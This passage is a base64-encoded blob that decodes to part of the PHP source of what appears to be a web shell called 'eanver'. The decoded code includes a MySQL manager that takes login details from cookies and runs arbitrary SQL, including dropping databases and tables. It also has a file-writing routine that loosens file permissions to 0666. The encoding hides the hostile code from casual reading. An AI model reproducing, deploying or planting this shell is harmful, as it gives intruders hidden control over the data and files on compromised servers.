W5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibWhvc3QiIHZhbHVlPSJsb2NhbGhvc3QiIHN0eWxlPSJ3aWR0aDozMDBweCI+PC9kaXY+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiPrbLv9ogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1wb3J0IiB2YWx1ZT0iMzMwNiIgc3R5bGU9IndpZHRoOjMwMHB4Ij48L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+08O7pyA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibXVzZXIiIHZhbHVlPSJyb290IiBzdHlsZT0id2lkdGg6MzAwcHgiPjwvZGl2Pg0KPGRpdiBjbGFzcz0iYWN0YWxsIj7D3MLrIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtcGFzcyIgdmFsdWU9IiIgc3R5bGU9IndpZHRoOjMwMHB4Ij48L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IrXHwrwiIHN0eWxlPSJ3aWR0aDo4MHB4OyI+IDxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSJDT09LSUUiIHN0eWxlPSJ3aWR0aDo4MHB4OyIgb25jbGljaz0id2luZG93LmxvY2F0aW9uPSc/ZWFudmVyPW15c3FsX21zZyc7Ij48L2Rpdj4NCjwvZm9ybT4NCkVORDsNCmJyZWFrOw0KDQpjYXNlICJteXNxbF9tc2ciOg0KCSRjb25uID0gQG15c3FsX2Nvbm5lY3QoJF9DT09LSUVbJ21fZWFudmVyaG9zdCddLic6Jy4kX0NPT0tJRVsnbV9lYW52ZXJwb3J0J10sJF9DT09LSUVbJ21fZWFudmVydXNlciddLCRfQ09PS0lFWydtX2VhbnZlcnBhc3MnXSk7DQoJaWYoJGNvbm4pDQoJew0KcHJpbnQ8PDxFTkQNCjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPg0KZnVuY3Rpb24gRGVsb2sobXNnLGdvdXJsKQ0Kew0KCXNtc2cgPSAiyLe2qNKqyb6z/VsiICsgdW5lc2NhcGUobXNnKSArICJdwvA/IjsNCglpZihjb25maXJtKHNtc2cpKXt3aW5kb3cubG9jYXRpb24gPSBnb3VybDt9DQoJd2luZG93LmxvY2F0aW9uID0gZ291cmw7DQp9DQpmdW5jdGlvbiBDcmVhdGVvayhhYykNCnsNCglpZihhYyA9PSAnYScpIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCduc3FsJykudmFsdWUgPSAnQ1JFQVRFIFRBQkxFIG5hbWUgKGVhbnZlciBCTE9CKTsnOw0KCWlmKGFjID09ICdiJykgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ25zcWwnKS52YWx1ZSA9ICdDUkVBVEUgREFUQUJBU0UgbmFtZTsnOw0KCWlmKGFjID09ICdjJykgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ25zcWwnKS52YWx1ZSA9ICdEUk9QIERBVEFCQVNFIG5hbWU7JzsNCglyZXR1cm4gZmFsc2U7DQp9DQpFTkQ7DQpodG1sX2Jhc2UoKTsNCnByaW50PDw8RU5EDQpmdW5jdGlvbiBTdWJtaXRVcmwoKXsNCgkJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCduc3FsJykudmFsdWUgPSBiYXNlNjRlbmNvZGUoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ25zcWwnKS52YWx1ZSk7DQoJCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZ2Zvcm0nKS5zdWJtaXQoKTsNCn0NCjwvc2NyaXB0Pg0KRU5EOw0KCQkkQk9PTCA9IGZhbHNlOw0KCQkkTVNHX0JPWCA9ICfTw7unOicuJF9DT09LSUVbJ21fZWFudmVydXNlciddLicgJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7ILXY1rc6Jy4kX0NPT0tJRVsnbV9lYW52ZXJob3N0J10uJzonLiRfQ09PS0lFWydtX2VhbnZlcnBvcnQnXS4nICZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyCw5rG+Oic7DQoJCSRrID0gMDsNCgkJJHJlc3VsdCA9IEBteXNxbF9xdWVyeSgnc2VsZWN0IHZlcnNpb24oKTsnLCRjb25uKTsNCgkJd2hpbGUoJHJvdyA9IEBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSl7JE1TR19CT1ggLj0gJHJvd1ska107JGsrKzt9DQoJCWVjaG8gJzxkaXYgY2xhc3M9ImFjdGFsbCI+IMr9vt2/4jonOw0KCQkkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgREFUQUJBU0VTIiwkY29ubik7DQoJCXdoaWxlKCRkYiA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKXtlY2hvICcmbmJzcDsmbmJzcDtbPGEgaHJlZj0iP2VhbnZlcj1teXNxbF9tc2cmZGI9Jy4kZGJbJ0RhdGFiYXNlJ10uJyI+Jy4kZGJbJ0RhdGFiYXNlJ10uJzwvYT5dJzt9DQoJCWVjaG8gJzwvZGl2Pic7DQoJCWlmKGlzc2V0KCRfR0VUWydkYiddKSkNCgkJew0KCQkJbXlzcWxfc2VsZWN0X2RiKCRfR0VUWydkYiddLCRjb25uKTsNCiAgICAgICAgICAgICRfUE9TVFsnbnNxbCddPWJhc2U2NF9kZWNvZGUoJF9QT1NUWyduc3FsJ10pOw0KCQkJaWYoIWVtcHR5KCRfUE9TVFsnbnNxbCddKSl7JEJPT0wgPSB0cnVlOyAkTVNHX0JPWCA9IG15c3FsX3F1ZXJ5KCRfUE9TVFsnbnNxbCddLCRjb25uKSA/ICfWtNDQs8m5picgOiAn1rTQ0MqnsNwgJy5teXNxbF9lcnJvcigpO30NCgkJCWlmKGlzX2FycmF5KCRfUE9TVFsnaW5zcWwnXSkpDQoJCQl7DQoJCQkJJHF1ZXJ5ID0gJ0lOU0VSVCBJTlRPICcuJF9HRVRbJ3RhYmxlJ10uJyAoJzsNCgkJCQlmb3JlYWNoKCRfUE9TVFsnaW5zcWwnXSBhcyAkdmFyID0+ICRrZXkpDQoJCQkJew0KCQkJCQkkcXVlcnlhIC49ICR2YXIuJywnOw0KCQkJCQkkcXVlcnliIC49ICdcJycuYWRkc2xhc2hlcygka2V5KS4nXCcsJzsNCgkJCQl9DQoJCQkJJHF1ZXJ5ID0gJHF1ZXJ5LnN1YnN0cigkcXVlcnlhLCAwLCAtMSkuJykgVkFMVUVTICgnLnN1YnN0cigkcXVlcnliLCAwLCAtMSkuJyk7JzsNCgkJCQkkTVNHX0JPWCA9IG15c3FsX3F1ZXJ5KCRxdWVyeSwkY29ubikgPyAnzO2807PJuaYnIDogJ8ztvNPKp7DcICcubXlzcWxfZXJyb3IoKTsNCgkJCX0NCgkJCWlmKGlzX2FycmF5KCRfUE9TVFsndXBzcWwnXSkpDQoJCQl7DQoJCQkJJHF1ZXJ5ID0gJ1VQREFURSAnLiRfR0VUWyd0YWJsZSddLicgU0VUICc7DQoJCQkJZm9yZWFjaCgkX1BPU1RbJ3Vwc3FsJ10gYXMgJHZhciA9PiAka2V5KQ0KCQkJCXsNCgkJCQkJJHF1ZXJ5YiAuPSAkdmFyLic9XCcnLmFkZHNsYXNoZXMoJGtleSkuJ1wnLCc7DQoJCQkJfQ0KCQkJCSRxdWVyeSA9ICRxdWVyeS5zdWJzdHIoJHF1ZXJ5YiwgMCwgLTEpLicgJy5iYXNlNjRfZGVjb2RlKCRfUE9TVFsnd2hlcmV2YXInXSkuJzsnOw0KCQkJCSRNU0dfQk9YID0gbXlzcWxfcXVlcnkoJHF1ZXJ5LCRjb25uKSA/ICfQ3rjEs8m5picgOiAn0N64xMqnsNwgJy5teXNxbF9lcnJvcigpOw0KCQkJfQ0KCQkJaWYoaXNzZXQoJF9HRVRbJ2RlbCddKSkNCgkJCXsNCgkJCQkkcmVzdWx0ID0gbXlzcWxfcXVlcnkoJ1NFTEVDVCAqIEZST00gJy4kX0dFVFsndGFibGUnXS4nIExJTUlUICcuJF9HRVRbJ2RlbCddLicsIDE7JywkY29ubik7DQoJCQkJJGdvb2QgPSBteXNxbF9mZXRjaF9hc3NvYygkcmVzdWx0KTsNCgkJCQkkcXVlcnkgPSAnREVMRVRFIEZST00gJy4kX0dFVFsndGFibGUnXS4nIFdIRVJFICc7DQoJCQkJZm9yZWFjaCgkZ29vZCBhcyAkdmFyID0+ICRrZXkpeyRxdWVyeWMgLj0gJHZhci4nPVwnJy5hZGRzbGFzaGVzKCRrZXkpLidcJyBBTkQgJzt9DQoJCQkJJHdoZXJlID0gJHF1ZXJ5LnN1YnN0cigkcXVlcnljLCAwLCAtNCkuJzsnOw0KCQkJCSRNU0dfQk9YID0gbXlzcWxfcXVlcnkoJHdoZXJlLCRjb25uKSA/ICfJvrP9s8m5picgOiAnyb6z/cqnsNwgJy5teXNxbF9lcnJvcigpOw0KCQkJfQ0KCQkJJGFjdGlvbiA9ICc/ZWFudmVyPW15c3FsX21zZyZkYj0nLiRfR0VUWydkYiddOw0KCQkJaWYoaXNzZXQoJF9HRVRbJ2Ryb3AnXSkpeyRxdWVyeSA9ICdEcm9wIFRBQkxFIElGIEVYSVNUUyAnLiRfR0VUWydkcm9wJ10uJzsnOyRNU0dfQk9YID0gbXlzcWxfcXVlcnkoJHF1ZXJ5LCRjb25uKSA/ICfJvrP9s8m5picgOiAnyb6z/cqnsNwgJy5teXNxbF9lcnJvcigpO30NCgkJCWlmKGlzc2V0KCRfR0VUWyd0YWJsZSddKSl7JGFjdGlvbiAuPSAnJnRhYmxlPScuJF9HRVRbJ3RhYmxlJ107aWYoaXNzZXQoJF9HRVRbJ2VkaXQnXSkpICRhY3Rpb24gLj0gJyZlZGl0PScuJF9HRVRbJ2VkaXQnXTt9DQoJCQlpZihpc3NldCgkX0dFVFsnaW5zZXJ0J10pKSAkYWN0aW9uIC49ICcmaW5zZXJ0PScuJF9HRVRbJ2luc2VydCddOw0KCQkJZWNobyAnPGRpdiBjbGFzcz0iYWN0YWxsIj48Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJy4kYWN0aW9uLiciIG5hbWU9Imdmb3JtIiBpZD0iZ2Zvcm0iPic7DQoJCQllY2hvICc8dGV4dGFyZWEgbmFtZT0ibnNxbCIgaWQ9Im5zcWwiIHN0eWxlPSJ3aWR0aDo1MDBweDtoZWlnaHQ6NTBweDsiPicuJF9QT1NUWyduc3FsJ10uJzwvdGV4dGFyZWE+ICc7DQoJCQllY2hvICc8aW5wdXQgdHlwZT0iYnV0dG9uIiBuYW1lPSJxdWVyeXNxbCIgdmFsdWU9Ita00NAiIG9uY2xpY2s9IlN1Ym1pdFVybCgpOyIgc3R5bGU9IndpZHRoOjYwcHg7aGVpZ2h0OjQ5cHg7Ij4nOw0KCQkJZWNobyAnPGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9IrS0vaix7SIgc3R5bGU9IndpZHRoOjYwcHg7aGVpZ2h0OjQ5cHg7IiBvbmNsaWNrPSJDcmVhdGVvayhcJ2FcJykiPiAnOw0KCQkJZWNobyAnPGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9IrS0vai/4iIgc3R5bGU9IndpZHRoOjYwcHg7aGVpZ2h0OjQ5cHg7IiBvbmNsaWNrPSJDcmVhdGVvayhcJ2JcJykiPiAnOw0KCQkJZWNobyAnPGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9Ism+s/2/4iIgc3R5bGU9IndpZHRoOjYwcHg7aGVpZ2h0OjQ5cHg7IiBvbmNsaWNrPSJDcmVhdGVvayhcJ2NcJykiPjwvZm9ybT48L2Rpdj4nOw0KCQkJZWNobyAnPGRpdiBjbGFzcz0ibXNnYm94IiBzdHlsZT0iaGVpZ2h0OjQwcHg7Ij4nLiRNU0dfQk9YLic8L2Rpdj48ZGl2IGNsYXNzPSJhY3RhbGwiPjxhIGhyZWY9Ij9lYW52ZXI9bXlzcWxfbXNnJmRiPScuJF9HRVRbJ2RiJ10uJyI+Jy4kX0dFVFsnZGInXS4nPC9hPiAtLS0+ICc7DQoJCQlpZihpc3NldCgkX0dFVFsndGFibGUnXSkpDQoJCQl7DQoJCQkJZWNobyAnPGEgaHJlZj0iP2VhbnZlcj1teXNxbF9tc2cmZGI9Jy4kX0dFVFsnZGInXS4nJnRhYmxlPScuJF9HRVRbJ3RhYmxlJ10uJyI+Jy4kX0dFVFsndGFibGUnXS4nPC9hPiAnOw0KCQkJCWVjaG8gJ1s8YSBocmVmPSI/ZWFudmVyPW15c3FsX21zZyZkYj0nLiRfR0VUWydkYiddLicmaW5zZXJ0PScuJF9HRVRbJ3RhYmxlJ10uJyI+suXI6zwvYT5dPC9kaXY+JzsNCgkJCQlpZihpc3NldCgkX0dFVFsnZWRpdCddKSkNCgkJCQl7DQoJCQkJCWlmKGlzc2V0KCRfR0VUWydwJ10pKSAkYXRhYmxlID0gJF9HRVRbJ3RhYmxlJ10uJyZwPScuJF9HRVRbJ3AnXTsgZWxzZSAkYXRhYmxlID0gJF9HRVRbJ3RhYmxlJ107DQoJCQkJCWVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSI/ZWFudmVyPW15c3FsX21zZyZkYj0nLiRfR0VUWydkYiddLicmdGFibGU9Jy4kYXRhYmxlLiciPic7DQoJCQkJCSRyZXN1bHQgPSBteXNxbF9xdWVyeSgnU0VMRUNUICogRlJPTSAnLiRfR0VUWyd0YWJsZSddLicgTElNSVQgJy4kX0dFVFsnZWRpdCddLicsIDE7JywkY29ubik7DQoJCQkJCSRnb29kID0gbXlzcWxfZmV0Y2hfYXNzb2MoJHJlc3VsdCk7DQoJCQkJCSR1ID0gMDsNCgkJCQkJZm9yZWFjaCgkZ29vZCBhcyAkdmFyID0+ICRrZXkpDQoJCQkJCXsNCgkJCQkJCSRxdWVyeWMgLj0gJHZhci4nPVwnJy4ka2V5LidcJyBBTkQgJzsNCgkJCQkJCSR0eXBlID0gQG15c3FsX2ZpZWxkX3R5cGUoJHJlc3VsdCwgJHUpOw0KCQkJCQkJJGxlbiA9IEBteXNxbF9maWVsZF9sZW4oJHJlc3VsdCwgJHUpOw0KCQkJCQkJZWNobyAnPGRpdiBjbGFzcz0iYWN0YWxsIj4nLiR2YXIuJyA8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+Jy4kdHlwZS4nKCcuJGxlbi4nKTwvZm9udD48YnI+PHRleHRhcmVhIG5hbWU9InVwc3FsWycuJHZhci4nXSIgc3R5bGU9IndpZHRoOjYwMHB4O2hlaWdodDo2MHB4OyI+Jy5odG1sc3BlY2lhbGNoYXJzKCRrZXkpLic8L3RleHRhcmVhPjwvZGl2Pic7DQoJCQkJCQkkdSsrOw0KCQkJCQl9DQoJCQkJCSR3aGVyZSA9ICdXSEVSRSAnLnN1YnN0cigkcXVlcnljLCAwLCAtNCk7DQoJCQkJCWVjaG8gJzxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJ3aGVyZXZhciIgbmFtZT0id2hlcmV2YXIiIHZhbHVlPSInLmJhc2U2NF9lbmNvZGUoJHdoZXJlKS4nIj4nOw0KCQkJCQllY2hvICc8ZGl2IGNsYXNzPSJhY3RhbGwiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJVcGRhdGUiIHN0eWxlPSJ3aWR0aDo4MHB4OyI+PC9kaXY+PC9mb3JtPic7DQoJCQkJfQ0KCQkJCWVsc2UNCgkJCQl7DQoJCQkJCSRxdWVyeSA9ICdTSE9XIENPTFVNTlMgRlJPTSAnLiRfR0VUWyd0YWJsZSddOw0KCQkgICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5LCRjb25uKTsNCgkJICAgICAgJGZpZWxkcyA9IGFycmF5KCk7DQoJCQkgICRwYWdlc2l6ZT0yMDsNCgkJICAgICAgJHJvd19udW0gPSBteXNxbF9udW1fcm93cyhteXNxbF9xdWVyeSgnU0VMRUNUICogRlJPTSAnLiRfR0VUWyd0YWJsZSddLCRjb25uKSk7DQoJCQkgICRudW1yb3dzPSRyb3dfbnVtOw0KICAgICAgICAgICAgICAkcGFnZXM9aW50dmFsKCRudW1yb3dzLyRwYWdlc2l6ZSk7DQogICAgICAgICAgICAgIGlmICgkbnVtcm93cyUkcGFnZXNpemUpICRwYWdlcysrOw0KICAgICAgICAgICAgICAkb2Zmc2V0PSRwYWdlc2l6ZSooJHBhZ2UgLSAxKTsNCiAgICAgICAgICAgICAgJHBhZ2U9JF9HRVRbJ3AnXTsNCiAgICAgICAgICAgICAgaWYoISRwYWdlKSAkcGFnZT0xOw0KDQoJCSAgICAgIGlmKCFpc3NldCgkX0dFVFsncCddKSl7JHAgPSAwOyRfR0VUWydwJ10gPSAxO30gZWxzZSAkcCA9ICgoaW50KSRfR0VUWydwJ10tMSkqMjA7DQoJCQkJCWVjaG8gJzx0YWJsZSBib3JkZXI9IjAiPjx0cj4nOw0KCQkJCQllY2hvICc8dGQgY2xhc3M9InRvcHRkIiBzdHlsZT0id2lkdGg6NzBweDsiIG5vd3JhcD6y2df3PC90ZD4nOw0KCQkJCQl3aGlsZSgkcm93ID0gQG15c3FsX2ZldGNoX2Fzc29jKCRyZXN1bHQpKQ0KCQkJCQl7DQoJCQkJCQlhcnJheV9wdXNoKCRmaWVsZHMsJHJvd1snRmllbGQnXSk7DQoJCQkJCQllY2hvICc8dGQgY2xhc3M9InRvcHRkIiBub3dyYXA+Jy4kcm93WydGaWVsZCddLic8L3RkPic7DQoJCQkJCX0NCgkJCQkJZWNobyAnPC90cj4nOw0KCQkJCQlpZihlcmVnaSgnV0hFUkV8TElNSVQnLCRfUE9TVFsnbnNxbCddKSAmJiBlcmVnaSgnU0VMRUNUfEZST00nLCRfUE9TVFsnbnNxbCddKSkgJHF1ZXJ5ID0gJF9QT1NUWyduc3FsJ107IGVsc2UgJHF1ZXJ5ID0gJ1NFTEVDVCAqIEZST00gJy4kX0dFVFsndGFibGUnXS4nIExJTUlUICcuJHAuJywgMjA7JzsNCgkJCQkJJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRxdWVyeSwkY29ubik7DQoJCQkJCSR2ID0gJHA7DQoJCQkJCXdoaWxlKCR0ZXh0ID0gQG15c3FsX2ZldGNoX2Fzc29jKCRyZXN1bHQpKQ0KCQkJCQl7DQoJCQkJCQllY2hvICc8dHI+PHRkPjxhIGhyZWY9Ij9lYW52ZXI9bXlzcWxfbXNnJmRiPScuJF9HRVRbJ2RiJ10uJyZ0YWJsZT0nLiRfR0VUWyd0YWJsZSddLicmcD0nLiRfR0VUWydwJ10uJyZlZGl0PScuJHYuJyI+INDeuMQgPC9hPiAnOw0KCQkJCQkJZWNobyAnPGEgaHJlZj0iIyIgb25jbGljaz0iRGVsb2soXCfL/FwnLFwnP2VhbnZlcj1teXNxbF9tc2cmZGI9Jy4kX0dFVFsnZGInXS4nJnRhYmxlPScuJF9HRVRbJ3RhYmxlJ10uJyZwPScuJF9HRVRbJ3AnXS4nJmRlbD0nLiR2LidcJyk7cmV0dXJuIGZhbHNlOyI+IMm+s/0gPC9hPjwvdGQ+JzsNCgkJCQkJCWZvcmVhY2goJGZpZWxkcyBhcyAkcm93KXtlY2hvICc8dGQ+Jy5ubDJicihodG1sc3BlY2lhbGNoYXJzKE15c3FsX0xlbigkdGV4dFskcm93XSw1MDApKSkuJzwvdGQ+Jzt9DQoJCQkJCQllY2hvICc8L3RyPicuIlxyXG4iOyR2Kys7DQoJCQkJCX0NCgkJCQkJZWNobyAnPC90YWJsZT48ZGl2IGNsYXNzPSJhY3RhbGwiPic7DQogICAgICAgICAgICAgICAgICAgICRwYWdlcD0kcGFnZS0xOw0KICAgICAgICAgICAgICAgICAgICAkcGFnZW49JHBhZ2UrMTsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAiubLT0CAiLiRyb3dfbnVtLiIgzPW8x8K8ICI7DQogICAgICAgICAgICAgICAgICAgIGlmKCRwYWdlcD4wKSAkcGFnZW5hdi49IiAgPGEgaHJlZj0nP2VhbnZlcj1teXNxbF9tc2cmZGI9Ii4kX0dFVFsnZGInXS4iJnRhYmxlPSIuJF9HRVRbJ3RhYmxlJ10uIiZwPTEmY2hhcnNldD0iLiRfR0VUWydjaGFyc2V0J10uIic+ytfSszwvYT4gPGEgaHJlZj0nP2VhbnZlcj1teXNxbF9tc2cmZGI9Ii4kX0dFVFsnZGInXS4iJnRhYmxlPSIuJF9HRVRbJ3RhYmxlJ10uIiZwPSIuJHBhZ2VwLiImY2hhcnNldD0iLiRfR0VUWydjaGFyc2V0J10uIic+yc/Su9KzPC9hPiAiOyBlbHNlICRwYWdlbmF2Lj0iIMnP0rvSsyAiOw0KICAgICAgICAgICAgICAgICAgICBpZigkcGFnZW48PSRwYWdlcykgJHBhZ2VuYXYuPSIgPGEgaHJlZj0nP2VhbnZlcj1teXNxbF9tc2cmZGI9Ii4kX0dFVFsnZGInXS4iJnRhYmxlPSIuJF9HRVRbJ3RhYmxlJ10uIiZwPSIuJHBhZ2VuLiImY2hhcnNldD0iLiRfR0VUWydjaGFyc2V0J10uIic+z8LSu9KzPC9hPiA8YSBocmVmPSc/ZWFudmVyPW15c3FsX21zZyZkYj0iLiRfR0VUWydkYiddLiImdGFibGU9Ii4kX0dFVFsndGFibGUnXS4iJnA9Ii4kcGFnZXMuIiZjaGFyc2V0PSIuJF9HRVRbJ2NoYXJzZXQnXS4iJz7OstKzPC9hPiI7IGVsc2UgJHBhZ2VuYXYuPSIgz8LSu9KzICI7DQogICAgICAgICAgICAgICAgICAgICRwYWdlbmF2Lj0iILXaIFsiLiRwYWdlLiIvIi4kcGFnZXMuIl0g0rMgICDM+LW9PGlucHV0IG5hbWU9J3RleHRmaWVsZCcgdHlwZT0ndGV4dCcgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOycgc2l6ZT0nNCcgdmFsdWU9JyIuJHBhZ2UuIicgb25rZXlkb3duPVwiaWYoZXZlbnQua2V5Q29kZT09MTMpc2VsZi5sb2NhdGlvbi5ocmVmPSc/ZWFudmVyPW15c3FsX21zZyZkYj0iLiRfR0VUWydkYiddLiImdGFibGU9Ii4kX0dFVFsndGFibGUnXS4iJnA9Jyt0aGlzLnZhbHVlKycmY2hhcnNldD0iLiRfR0VUWydjaGFyc2V0J10uIic7XCIgLz7SsyI7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gJHBhZ2VuYXY7DQoJCQkJCWVjaG8gJzwvZGl2Pic7DQoJCQkJfQ0KCQkJfQ0KCQkJZWxzZWlmKGlzc2V0KCRfR0VUWydpbnNlcnQnXSkpDQoJCQl7DQoJCQkJZWNobyAnPGEgaHJlZj0iP2VhbnZlcj1teXNxbF9tc2cmZGI9Jy4kX0dFVFsnZGInXS4nJnRhYmxlPScuJF9HRVRbJ2luc2VydCddLiciPicuJF9HRVRbJ2luc2VydCddLic8L2E+PC9kaXY+JzsNCgkJCQkkcmVzdWx0ID0gbXlzcWxfcXVlcnkoJ1NFTEVDVCAqIEZST00gJy4kX0dFVFsnaW5zZXJ0J10sJGNvbm4pOw0KCQkJCSRmaWVsZG51bSA9IEBteXNxbF9udW1fZmllbGRzKCRyZXN1bHQpOw0KCQkJCWVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSI/ZWFudmVyPW15c3FsX21zZyZkYj0nLiRfR0VUWydkYiddLicmdGFibGU9Jy4kX0dFVFsnaW5zZXJ0J10uJyI+JzsNCgkJCQlmb3IoJGkgPSAwOyRpIDwgJGZpZWxkbnVtOyRpKyspDQoJCQkJew0KCQkJCQkkbmFtZSA9IEBteXNxbF9maWVsZF9uYW1lKCRyZXN1bHQsICRpKTsNCgkJCQkJJHR5cGUgPSBAbXlzcWxfZmllbGRfdHlwZSgkcmVzdWx0LCAkaSk7DQoJCQkJCSRsZW4gPSBAbXlzcWxfZmllbGRfbGVuKCRyZXN1bHQsICRpKTsNCgkJCQkJZWNobyAnPGRpdiBjbGFzcz0iYWN0YWxsIj4nLiRuYW1lLicgPGZvbnQgY29sb3I9IiNGRjAwMDAiPicuJHR5cGUuJygnLiRsZW4uJyk8L2ZvbnQ+PGJyPjx0ZXh0YXJlYSBuYW1lPSJpbnNxbFsnLiRuYW1lLiddIiBzdHlsZT0id2lkdGg6NjAwcHg7aGVpZ2h0OjYwcHg7Ij48L3RleHRhcmVhPjwvZGl2Pic7DQoJCQkJfQ0KCQkJCWVjaG8gJzxkaXYgY2xhc3M9ImFjdGFsbCI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ikluc2VydCIgc3R5bGU9IndpZHRoOjgwcHg7Ij48L2Rpdj48L2Zvcm0+JzsNCgkJCX0NCgkJCWVsc2UNCgkJCXsNCgkJCQkkcXVlcnkgPSAnU0hPVyBUQUJMRSBTVEFUVVMnOw0KCQkJCSRzdGF0dXMgPSBAbXlzcWxfcXVlcnkoJHF1ZXJ5LCRjb25uKTsNCgkJCQl3aGlsZSgkc3RhdHUgPSBAbXlzcWxfZmV0Y2hfYXJyYXkoJHN0YXR1cykpDQoJCQkJew0KCQkJCQkkc3RhdHVzaXplW10gPSAkc3RhdHVbJ0RhdGFfbGVuZ3RoJ107DQoJCQkJCSRzdGF0dWNvbGxbXSA9ICRzdGF0dVsnQ29sbGF0aW9uJ107DQoJCQkJfQ0KCQkJCSRxdWVyeSA9ICdTSE9XIFRBQkxFUyBGUk9NICcuJF9HRVRbJ2RiJ10uJzsnOw0KCQkJCWVjaG8gJzwvZGl2Pjx0YWJsZSBib3JkZXI9IjAiPjx0cj4nOw0KCQkJCWVjaG8gJzx0ZCBjbGFzcz0idG9wdGQiIHN0eWxlPSJ3aWR0aDo1NTBweDsiPiCx7cP7IDwvdGQ+JzsNCgkJCQllY2hvICc8dGQgY2xhc3M9InRvcHRkIiBzdHlsZT0id2lkdGg6ODBweDsiPiCy2df3IDwvdGQ+JzsNCgkJCQllY2hvICc8dGQgY2xhc3M9InRvcHRkIiBzdHlsZT0id2lkdGg6MTMwcHg7Ij4g19a3+7yvIDwvdGQ+JzsNCgkJCQllY2hvICc8dGQgY2xhc3M9InRvcHRkIiBzdHlsZT0id2lkdGg6NzBweDsiPiC089ChIDwvdGQ+PC90cj4nOw0KCQkJCSRyZXN1bHQgPSBAbXlzcWxfcXVlcnkoJHF1ZXJ5LCRjb25uKTsNCgkJCQkkayA9IDA7DQoJCQkJd2hpbGUoJHRhYmxlID0gbXlzcWxfZmV0Y2hfcm93KCRyZXN1bHQpKQ0KCQkJCXsNCgkJCQkJJGNoYXJzZXQ9c3Vic3RyKCRzdGF0dWNvbGxbJGtdLDAsc3RycG9zKCRzdGF0dWNvbGxbJGtdLCdfJykpOw0KCQkJCQllY2hvICc8dHI+PHRkPjxhIGhyZWY9Ij9lYW52ZXI9bXlzcWxfbXNnJmRiPScuJF9HRVRbJ2RiJ10uJyZ0YWJsZT0nLiR0YWJsZVswXS4nIj4nLiR0YWJsZVswXS4nPC9hPjwvdGQ+JzsNCgkJCQkJZWNobyAnPHRkPjxhIGhyZWY9Ij9lYW52ZXI9bXlzcWxfbXNnJmRiPScuJF9HRVRbJ2RiJ10uJyZpbnNlcnQ9Jy4kdGFibGVbMF0uJyI+ILLlyOsgPC9hPiA8YSBocmVmPSIjIiBvbmNsaWNrPSJEZWxvayhcJycuJHRhYmxlWzBdLidcJyxcJz9lYW52ZXI9bXlzcWxfbXNnJmRiPScuJF9HRVRbJ2RiJ10uJyZkcm9wPScuJHRhYmxlWzBdLidcJyk7cmV0dXJuIGZhbHNlOyI+IMm+s/0gPC9hPjwvdGQ+JzsNCgkJCQkJZWNobyAnPHRkPicuJHN0YXR1Y29sbFska10uJzwvdGQ+PHRkIGFsaWduPSJyaWdodCI+Jy5GaWxlX1NpemUoJHN0YXR1c2l6ZVska10pLic8L3RkPjwvdHI+Jy4iXHJcbiI7DQoJCQkJCSRrKys7DQoJCQkJfQ0KCQkJCWVjaG8gJzwvdGFibGU+JzsNCgkJCX0NCgkJfQ0KCX0NCgllbHNlIGRpZSgnway9001ZU1FMyqew3CzH69bY0MK1x8K8LjxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7VVJMPT9lYW52ZXI9bXlzcWxfZXhlYyI+Jyk7DQoJaWYoISRCT09MIGFuZCBhZGRzbGFzaGVzKCRxdWVyeSkhPScnKSBlY2hvICc8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCduc3FsXCcpLnZhbHVlID0gXCcnLmFkZHNsYXNoZXMoJHF1ZXJ5KS4nXCc7PC9zY3JpcHQ+JzsNCmJyZWFrOw0KDQoNCglkZWZhdWx0OiBodG1sX21haW4oJHBhdGgsJHNoZWxsbmFtZSk7IGJyZWFrOw0KfQ0KY3NzX2Zvb3QoKTsNCg0KLyotLS1kb2luZy0tLSovDQoNCmZ1bmN0aW9uIGRvX3dyaXRlKCRmaWxlLCR0LCR0ZXh0KQ0Kew0KCSRrZXkgPSB0cnVlOw0KCSRoYW5kbGUgPSBAZm9wZW4oJGZpbGUsJHQpOw0KCWlmKCFAZndyaXRlKCRoYW5kbGUsJHRleHQpKQ0KCXsNCgkJQGNobW9kKCRmaWxlLDA2NjYpOw0KCQkka2V5ID0gQGZ3cml0ZSgkaGFuZGxlLCR0ZXh0KSA/IHRydWUgOiBmYWxzZTsNCgl9DQoJQGZjbG9zZSgkaGFuZGxlKTsNCglyZXR1cm4gJGtleTs